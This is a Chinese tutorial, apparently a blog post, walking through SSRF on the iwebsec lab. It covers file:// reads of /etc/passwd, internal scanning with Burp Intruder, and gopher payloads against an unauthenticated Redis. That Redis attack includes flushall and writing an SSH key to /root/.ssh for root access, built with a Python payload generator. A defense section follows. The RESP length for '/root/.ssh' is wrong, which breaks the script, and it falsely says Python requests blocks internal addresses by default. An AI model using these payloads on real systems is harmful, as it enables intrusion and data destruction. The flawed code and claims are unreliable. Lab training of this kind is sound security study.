从原理到实战:利用iwebsec靶场深入理解SSRF漏洞与Gopher协议攻击

📅 2026/7/2 11:45:23 👁️ 阅读次数 📝 编程学习
从原理到实战:利用iwebsec靶场深入理解SSRF漏洞与Gopher协议攻击

1. 项目概述:为什么SSRF是每个Web安全新手必须攻克的堡垒

如果你刚开始接触Web安全,可能会被各种漏洞名词搞得眼花缭乱:SQL注入、XSS、文件上传……但有一个漏洞,它像一把能打开内网大门的“万能钥匙”,攻击者可以利用它从外部访问到服务器内部的敏感系统,这就是SSRF(Server-Side Request Forgery,服务端请求伪造)。听起来有点抽象?简单说,就是攻击者能“欺骗”服务器,让它代替攻击者去发起一个HTTP请求,而这个请求的目标,往往是攻击者自己无法直接访问的内部网络或本地服务。

我刚开始学安全时,也觉得SSRF原理复杂,各种协议(file、gopher、dict)让人头大。直到我找到了iwebsec靶场,一个专门为国内学习者设计的、环境纯净的漏洞练习平台。用它来复现SSRF,尤其是从最基础的file://协议读取本地文件,到利用gopher://协议构造复杂攻击载荷去攻击内网Redis数据库,整个学习路径清晰得就像爬楼梯,一步一个脚印。这次,我就带你用iwebsec靶场,把SSRF从原理到实战,尤其是filegopher这两个核心协议,彻底搞明白。无论你是刚入门的安全爱好者,还是想巩固基础的开发者,跟着走一遍,你不仅能看懂漏洞,更能亲手把它“挖”出来。

2. SSRF漏洞核心原理与协议武器库拆解

在动手之前,我们必须先弄清楚SSRF到底是怎么发生的,以及我们手上有哪些“武器”(协议)可以用。很多教程一上来就讲利用,但如果不明白背后的“为什么”,遇到变种漏洞还是会懵。

2.1 SSRF发生的根本原因:过度的服务器“信任”

想象一下,你是一个网站的后台管理员,网站有个功能是“一键抓取网页缩略图”。用户输入一个图片网址,你的服务器就去把这个图片下载下来,处理成缩略图。这个功能本身没问题。但问题出在,你的服务器太“老实”了,它对用户输入的URL没有任何戒备心。攻击者这时输入的不是http://example.com/image.jpg,而是file:///etc/passwd(Linux系统密码文件)或者http://192.168.1.1/admin(你服务器内网的管理后台地址)。

由于服务器执行这个下载请求时,通常拥有较高的权限,并且处于内部网络环境,它就能成功访问到这些本应被防火墙隔离的资源,然后把内容返回给攻击者。这就是SSRF最经典的场景:服务器未对用户可控的URL参数进行充分校验和过滤,导致其能够被用来发起对内网或本地资源的请求

在iwebsec靶场中,这种场景被模拟得非常典型。靶场通常会提供一个URL输入框,背后是一个curlfile_get_contents的函数调用,这正是SSRF最常见的触发点。

2.2 攻击协议详解:从“窥探”到“操控”的升级

SSRF的强大,很大程度上源于服务器支持多种URL协议。不同的协议能让我们实现不同级别的攻击效果。

1. file协议:内网的“眼睛”file://协议用于访问本地文件系统。这是SSRF最基础、最直接的利用方式。

  • 作用:读取服务器上的敏感文件。比如配置文件(/etc/passwd,/proc/self/environ)、源码(./index.php)、密钥文件等。
  • 利用格式file:///绝对路径。例如file:///etc/passwd。在Windows系统上,可能是file:///C:/Windows/win.ini
  • 为什么能成功:因为服务器进程(如Apache、PHP-FPM)运行时具有读取这些文件的权限。当它代表我们去请求file://协议时,实际上就是用自身的权限去读文件。

注意:现代PHP环境默认可能禁用file://协议封装器,或者在allow_url_fopenallow_url_include配置上做了限制。但iwebsec靶场为了教学,通常会开启这些配置,这正是我们练习的好机会。

2. http/https协议:探测与攻击内网Web服务这是最直观的协议,用于探测或攻击内网的其他Web应用。

  • 作用
    • 端口扫描:通过构造http://192.168.1.1:8080这样的请求,根据返回结果(连接超时、拒绝连接、返回正常页面等)来判断内网某IP的某个端口是否开放。
    • 攻击内网脆弱应用:如果内网存在一个未授权访问的Jenkins、一个弱口令的Confluence,或者一个存在漏洞的Weblogic,我们可以通过SSRF直接发起攻击。
  • 利用技巧:结合Burp Suite的Intruder模块,可以自动化进行内网IP和端口的爆破扫描。

3. dict协议:探测端口与服务指纹dict://协议用于访问DICT字典服务器,但它有一个特性:在连接时会先返回服务的banner信息。

  • 作用:快速探测目标端口是否开放,以及获取服务指纹。例如,dict://192.168.1.1:6379/info会尝试连接该IP的6379端口(Redis默认端口),如果端口开放,我们就能在返回的错误信息或连接交互中看到Redis的标识。
  • 格式dict://<target-ip>:<port>/<word>。这个<word>可以是任意内容,如infostats等,目的是触发一次连接。

4. gopher协议:SSRF的“王牌”,实现协议无关攻击gopher协议是一个古老的互联网协议,但它却是SSRF攻击中的“瑞士军刀”。它支持发送任意的TCP数据包,这意味着我们可以用它来构造HTTP、Redis、MySQL、FTP等多种协议的攻击请求。

  • 作用:攻击内网的非HTTP服务。最经典的案例就是攻击无认证的Redis服务,实现未授权访问甚至写入Webshell。
  • 强大之处:它不关心目标服务是什么协议,只要我们能按照目标协议的原始TCP数据流格式,构造出正确的数据包,并通过gopher协议发送出去,就能与目标服务进行交互。
  • 挑战:手工构造gopher数据包非常复杂,需要精确计算每个字符的URL编码,并且要了解目标协议的通信格式。这也是本次实战的重点和难点。

理解了这些协议,我们就有了清晰的攻击思路:先通过filehttp协议确认漏洞存在并获取一些基础信息(如内网IP段),再尝试用dict探测关键端口,最后用gopher这把“万能钥匙”发起精准攻击。

3. iwebsec靶场环境搭建与基础SSRF复现

理论说得再多,不如亲手操作一遍。我们首先在本地搭建iwebsec靶场,并完成最基础的SSRF漏洞验证。

3.1 靶场部署与漏洞点定位

我推荐使用Docker来部署iwebsec,这是最干净、最不容易出错的方式。

# 1. 拉取iwebsec靶场镜像 docker pull iwebsec/iwebsec # 2. 运行靶场容器,将本地80端口映射到容器的80端口 docker run -d -p 80:80 --name iwebsec-ssrf iwebsec/iwebsec # 3. 查看容器运行状态 docker ps | grep iwebsec

部署完成后,在浏览器访问http://127.0.0.1,你应该能看到iwebsec的导航界面。找到SSRF漏洞相关的关卡(通常会有明确标注)。

进入SSRF漏洞关卡后,你会看到一个典型的界面:一个输入框,一个提交按钮,下方是回显区域。查看网页源码,你会发现表单提交到一个PHP文件,参数名可能是urlpathfile。后端代码逻辑大致如下:

<?php // 模拟漏洞代码 $url = $_GET['url']; // 用户完全可控的参数 $content = file_get_contents($url); // 危险函数,未做任何过滤 echo $content; ?>

这就是我们的“攻击入口”。

3.2 利用file协议读取服务器敏感文件

我们的第一个实战目标:利用file://协议读取服务器上的/etc/passwd文件,证明SSRF漏洞存在。

  1. 基础测试:在输入框中尝试输入file:///etc/passwd,然后提交。
  2. 观察结果:如果页面上显示了/etc/passwd文件的内容(一堆以root:x:0:0...开头的用户信息),那么恭喜,基础SSRF漏洞存在!
  3. 深入利用/etc/passwd只是开始。你可以尝试读取其他敏感文件:
    • /proc/self/environ: 有时会包含数据库密码、密钥等环境变量。
    • /etc/hosts: 查看服务器内部网络结构。
    • /var/www/html/index.php: 尝试读取网站源码,寻找其他漏洞或数据库连接信息。
    • C:\Windows\System32\drivers\etc\hosts(如果靶场是Windows环境,但iwebsec通常是Linux)。

实操心得:在实际渗透测试中,file://协议被禁用的情况很常见。如果遇到file://失效,不要马上放弃。可以尝试:

  1. 使用完整的URL编码:file:%2F%2F%2Fetc%2Fpasswd
  2. 尝试使用http://127.0.0.1http://localhost来访问本地回环地址的服务,这同样属于SSRF。
  3. 利用一些URL解析器的特性,比如http://127.0.0.1@evil.com可能会被某些库解析为访问127.0.0.1

3.3 利用http协议进行内网探测

在确认漏洞存在后,我们假设这个服务器处于一个内网中(这是非常常见的场景)。我们的下一步就是探测这个内网里还有什么“好东西”。

  1. 确定内网IP段:通常内网IP段是192.168.x.x10.x.x.x172.16.x.x ~ 172.31.x.x。我们可以先读取/etc/hosts文件获取线索,或者直接进行盲猜。
  2. 构造探测Payload:在输入框中尝试http://192.168.1.1。如果服务器返回连接超时或拒绝连接,说明这个IP可能不存在或没开机。如果返回了其他错误(如403 Forbidden)甚至是一个正常的页面,那就意味着我们找到了一个内网资产!
  3. 端口扫描:假设我们发现了192.168.1.2这个IP。接下来可以探测它开放了哪些端口。例如:
    • http://192.168.1.2:8080(常见于Tomcat, Jenkins)
    • http://192.168.1.2:6379(Redis,但Redis是TCP协议,直接HTTP访问会失败,这里只是看连接反应)
    • http://192.168.1.2:80(默认Web端口)

由于手动测试效率太低,我们可以把Burp Suite请出来。

使用Burp Suite Intruder进行自动化内网探测:

  1. 在浏览器中配置代理指向Burp。
  2. 在iwebsec靶场提交一个合法的HTTP请求,比如http://example.com
  3. 在Burp的Proxy历史记录中,找到这个请求,右键发送到Intruder。
  4. 在Intruder的Positions标签页,清除所有自动标记,然后手动将URL参数中的IP地址部分标记为Payload位置。例如,将http://§192.168.1.1§:80中的IP部分标记。
  5. 在Payloads标签页,选择“Numbers”类型,生成一个IP地址列表,比如从192.168.1.1192.168.1.254,格式为192.168.1.§§
  6. 开始攻击。Burp会批量替换IP发起请求。通过观察响应长度、状态码,我们可以快速筛选出存活的IP。对于存活的IP,再针对常见端口(80, 443, 8080, 8888, 6379, 27017等)进行第二轮端口扫描。

这个过程能让我们绘制出一张小小的内网地图。

4. 进阶实战:利用Gopher协议攻击内网Redis服务

当我们通过探测发现内网有一台192.168.1.100的服务器开放了6379端口(Redis默认端口),并且Redis没有设置密码认证时,真正的“大戏”就开场了。我们将使用SSRF中最强大的gopher协议,来攻击这个Redis服务。

4.1 Gopher协议原理与数据包构造

gopher协议的攻击流程可以概括为:将我们想发送给目标服务的原始TCP数据流,进行特定格式的转换和编码,然后通过存在SSRF漏洞的服务器发送出去

假设我们想向Redis发送一条命令:SET mykey “hacked”。Redis的通信协议是RESP(REdis Serialization Protocol)。这条命令的原始TCP数据包(RESP格式)是这样的:

*3\r\n$3\r\nSET\r\n$5\r\nmykey\r\n$6\r\nhacked\r\n

我来解释一下:

  • *3表示这是一个包含3个元素的数组。
  • \r\n是回车换行,RESP协议的分隔符。
  • $3表示下一个元素是长度为3的字符串。
  • SET是命令本身。
  • 后面依次是键名mykey和值hacked的长度及内容。

现在,我们需要把这个数据包转换成gopher协议能识别的格式。gopher请求的格式是:gopher://<host>:<port>/_<TCP数据流>

其中,<TCP数据流>需要满足:

  1. 每一行以\r\n结尾。
  2. 整个数据流需要进行URL编码。

所以,我们的转换步骤如下:

  1. 在数据流前加上一个“哑行”(因为gopher会忽略第一行),通常是一个_或任意字符加\r\n
  2. 将整个字符串进行URL编码。

最终构造出的Payload会非常长,形如:gopher://192.168.1.100:6379/_%2A3%0D%0A%243%0D%0ASET%0D%0A%245%0D%0Amykey%0D%0A%246%0D%0Ahacked%0D%0A

手工构造这个简直是噩梦。因此,我们通常使用Python脚本来自动化这个过程。

4.2 编写Gopher攻击Payload生成脚本

下面是一个Python脚本示例,用于生成攻击Redis的gopherpayload。我们的攻击目标是:向Redis写入一个SSH公钥,从而获取服务器权限(前提是Redis以root权限运行,且允许写入/root/.ssh/authorized_keys文件)。

import urllib.parse def generate_gopher_payload(host, port, data): """ 生成Gopher协议的Payload :param host: 目标主机 :param port: 目标端口 :param data: 要发送的原始TCP数据(字节流) :return: 完整的Gopher URL """ # Gopher协议格式:gopher://host:port/_ + URL编码后的数据 # 数据需要先加上一个换行(哑行),因为gopher会忽略第一行 payload = "_" + data # 对整个payload进行URL编码 encoded_payload = urllib.parse.quote(payload) # 构建完整的gopher URL gopher_url = f"gopher://{host}:{port}/{encoded_payload}" return gopher_url # 攻击步骤1:清空Redis数据(可选,避免干扰) flushall_cmd = b"*1\r\n$8\r\nflushall\r\n" # 攻击步骤2:设置一个键值对,其值是我们构造的恶意SSH公钥写入命令 # 我们先写入一个换行符,因为Redis的`config set dir`命令需要 ssh_public_key = b"\n\nssh-rsa AAAAB3NzaC1yc2E...(这里替换成你的公钥)...\n\n" # 将公钥转换成Redis可执行的命令序列。这里是一个简化示例,实际需要构造多条命令。 # 通常步骤是: # 1. config set dir /root/.ssh # 2. config set dbfilename authorized_keys # 3. set x “\n\n公钥内容\n\n” # 4. save # 由于构造完整的攻击链命令较复杂,这里给出一个关键命令的生成示例:设置目录 config_dir_cmd = b"*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$3\r\ndir\r\n$11\r\n/root/.ssh\r\n" # 生成攻击第一个步骤的gopher payload target_host = "192.168.1.100" target_port = 6379 gopher_payload_flush = generate_gopher_payload(target_host, target_port, flushall_cmd.decode('latin-1')) gopher_payload_config = generate_gopher_payload(target_host, target_port, config_dir_cmd.decode('latin-1')) print("用于flushall的Gopher Payload:") print(gopher_payload_flush) print("\n用于设置目录的Gopher Payload:") print(gopher_payload_config) # 注意:实际攻击时,需要按顺序将多个payload(flushall, set dir, set dbfilename, set public_key, save)依次通过SSRF漏洞提交。

这个脚本的核心是generate_gopher_payload函数,它完成了数据格式转换和URL编码。在实际攻击中,你需要按照flushall->config set dir->config set dbfilename->set xxx \n\n公钥\n\n->save的顺序,生成5个对应的Payload,并依次在iwebsec的漏洞点提交。

4.3 在iwebsec靶场中实施Gopher攻击

现在,我们将脚本生成的Payload应用到靶场中。

  1. 环境确认:确保你的iwebsec靶场关卡支持gopher协议(通常iwebsec的SSRF关卡会开启)。可以先用一个简单的Payload测试,比如gopher://127.0.0.1:6379/_*1%0D%0A$8%0D%0Aflushall%0D%0A,如果返回错误或连接信息,说明协议支持。
  2. 实施攻击
    • 运行上面的Python脚本,将target_host改为你探测到的内网Redis IP(例如192.168.1.100)。
    • 脚本会输出一串长得离谱的URL。复制第一个(flushall)的URL。
    • 将其粘贴到iwebsec靶场的SSRF漏洞输入框中,提交。
    • 观察响应。如果Redis服务存在且无认证,这个命令会清空Redis数据库,服务器可能会返回一个+OK\r\n的响应(经过URL编码后显示在页面上),或者是一个连接相关的错误。请注意,在生产环境中绝对不要对非授权目标进行flushall操作,这是破坏性的!
    • 然后,按顺序提交后续的Payload(设置目录、设置文件名、写入公钥、保存)。
  3. 攻击结果验证:如果所有步骤都成功执行,那么公钥就被写入了目标服务器的/root/.ssh/authorized_keys文件。此时,你可以尝试用对应的私钥通过SSH连接192.168.1.100,如果成功,就意味着你通过SSRF漏洞,间接获得了内网一台服务器的最高权限。

这个过程清晰地展示了SSRF如何从一个简单的“读文件”漏洞,演变成通往整个内网的“桥梁”,最终导致严重的内网横向移动和数据泄露。

5. 常见问题、防御方案与实战心得

走完了整个攻击流程,我们不仅要会“攻”,更要理解如何“防”。同时,把实战中容易踩的坑总结一下,能让你以后的路更顺。

5.1 实战中遇到的典型问题与排查技巧

在复现过程中,你几乎一定会遇到下面这些问题:

问题现象可能原因排查思路与解决方案
提交file:///etc/passwd无回显1. PHP配置禁用了file://封装器。
2. 函数被禁用(如allow_url_fopen=Off)。
3. 存在基础过滤(如检查file关键字)。
1. 尝试http://127.0.0.1看是否通,确认SSRF漏洞是否存在。
2. 尝试URL编码或双重编码:file:%2F%2F%2Fetc%2Fpasswd
3. 尝试使用其他协议如http访问本地文件:http://localhost/etc/passwd(需要特定配置)。
gopherpayload提交后无任何反应或报错1. 服务器不支持gopher协议。
2. Payload构造错误(格式、编码问题)。
3. 目标服务(如Redis)不存在、端口不对或需要认证。
1. 先用一个极简的gopher请求测试协议支持性,如访问一个已知的HTTP端口并观察响应。
2.使用网络工具(如nc)本地模拟Redis服务,先测试Payload的正确性。这是最关键的一步!
3. 检查Python脚本生成的Payload,确保换行符\r\n被正确编码为%0D%0A
攻击Redis时,config set dir命令失败1. Redis运行在保护模式或低权限下,无法写入系统目录。
2. Redis版本较高,默认禁止了一些危险命令。
1. 尝试写入Web目录,如/var/www/html,然后写入Webshell。
2. 尝试其他攻击方式,如主从复制RCE等。
Burp Intruder扫描内网时速度极慢或大量超时1. 存在网络延迟或防火墙。
2. 靶场服务器或Docker容器资源不足。
3. 扫描的IP范围或端口范围太大。
1. 增加超时时间(在Intruder的Options里设置)。
2. 缩小扫描范围,优先扫描常见IP段(如192.168.0/1/2.1-254)和关键端口(80, 443, 8080, 22, 3306, 6379)。
3. 使用更高效的扫描模式(如SniperBattering ram)。

核心排查技巧本地模拟调试。在真正攻击靶场或测试目标前,一定要在本地搭建一个模拟环境。比如,在本机用Docker运行一个无认证的Redis,然后用你的Python脚本生成Payload,直接在本机用curl命令测试这个Payload是否能成功操作Redis。确认无误后,再将Payload用于SSRF测试。这能节省你大量猜测和等待的时间。

5.2 SSRF漏洞的防御方案解析

知道了怎么攻击,防御思路就清晰了。防御SSRF的核心原则是:对用户输入的所有URL进行严格的“白名单”校验,并限制服务器请求的能力

  1. 输入校验与过滤(最前端)

    • 协议白名单:只允许httphttps协议。在代码中显式检查URL的scheme,拒绝filegopherdictftp等危险协议。
    • 域名/IP黑名单/白名单
      • 黑名单:拒绝访问内网IP段(127.0.0.0/810.0.0.0/8172.16.0.0/12192.168.0.0/16)和本地回环地址(localhost)。但黑名单可能被绕过(如IPv6、域名重绑定攻击)。
      • 白名单(推荐):如果业务明确只允许访问几个固定的外网域名,那么只允许这些域名通过校验。
    • URL解析一致性:使用编程语言标准的URL解析库(如Python的urlparse, Java的java.net.URI)来解析URL,获取其host,然后解析这个host为IP地址,判断该IP是否属于内网。避免使用正则表达式等可能被绕过的简单匹配。
  2. 请求过程控制(中间层)

    • 禁用不必要的URL封装器:在PHP中,设置allow_url_fopen = Offallow_url_include = Off。这能从根本上阻断很多协议的攻击。
    • 使用安全的网络请求库:很多语言的安全库(如Java的HttpURLConnection, Python的requests库)默认会阻止对内部地址的请求。避免使用curl命令或原生socket进行不受控的请求。
    • 设置请求超时和重定向限制:防止攻击者利用SSRF进行DoS攻击或通过重定向链访问到内网资源。
  3. 网络架构隔离(最底层)

    • 划分网络区域:将面向公网的应用服务器和内部敏感业务服务器部署在不同的VPC或子网中,并通过严格的安全组/防火墙策略进行隔离,确保即使应用服务器被攻陷,也无法访问到核心内网。
    • 使用跳板机或代理:如果业务确实需要从服务器发起外部请求,可以统一通过一个配置了严格出口过滤的代理服务器或跳板机进行,在该代理上实施IP白名单策略。

防御是一个多层次的工作,代码层的校验是基础,网络层的隔离是最后也是最坚固的防线。

5.3 个人实战心得与延伸思考

通过这次在iwebsec靶场从filegopher的完整复现,我最深的体会是:SSRF是一个“牵一发而动全身”的漏洞。它从一个不起眼的输入点开始,却可能引爆整个内网的安全防线。对于开发者而言,任何一处从用户输入获取URL并发起请求的地方,都必须打起十二分精神。

对于学习者,我有几个建议:

  • 不要死记硬背Payload:理解gopher协议转换的原理,比记住一个攻击Redis的Payload重要一百倍。明白了原理,你才能应对各种变种和过滤。
  • 工具只是辅助:Python脚本、Burp Suite都是好帮手,但不要成为“工具小子”。要清楚每一步操作在底层发生了什么。
  • 关注漏洞的“上下文”:在实际场景中,SSRF可能出现在图片处理、PDF生成、邮件抓取、远程API调用等各种功能里。学会通过功能点去推测可能存在的SSRF,是漏洞挖掘的关键。
  • 延伸学习:掌握了基础的SSRF后,可以研究更高级的技巧,比如:
    • URL解析差异与绕过:利用不同库(浏览器、curlurllib)解析URL的差异来绕过过滤。
    • DNS重绑定攻击:一种非常巧妙的绕过IP黑名单的技术。
    • 与云服务元数据API结合:在云环境(AWS, GCP, Azure)中,利用SSRF访问云服务器的元数据服务,获取临时密钥,后果极其严重。

最后,在iwebsec靶场练习时,不妨多看看关卡提供的源码。理解漏洞代码是怎么写的,你才能更好地在代码审计中识别它。安全之路,知其然,更要知其所以然。当你能够独立完成这样一次完整的漏洞复现和原理剖析时,SSRF这个知识点,才算真正被你拿下了。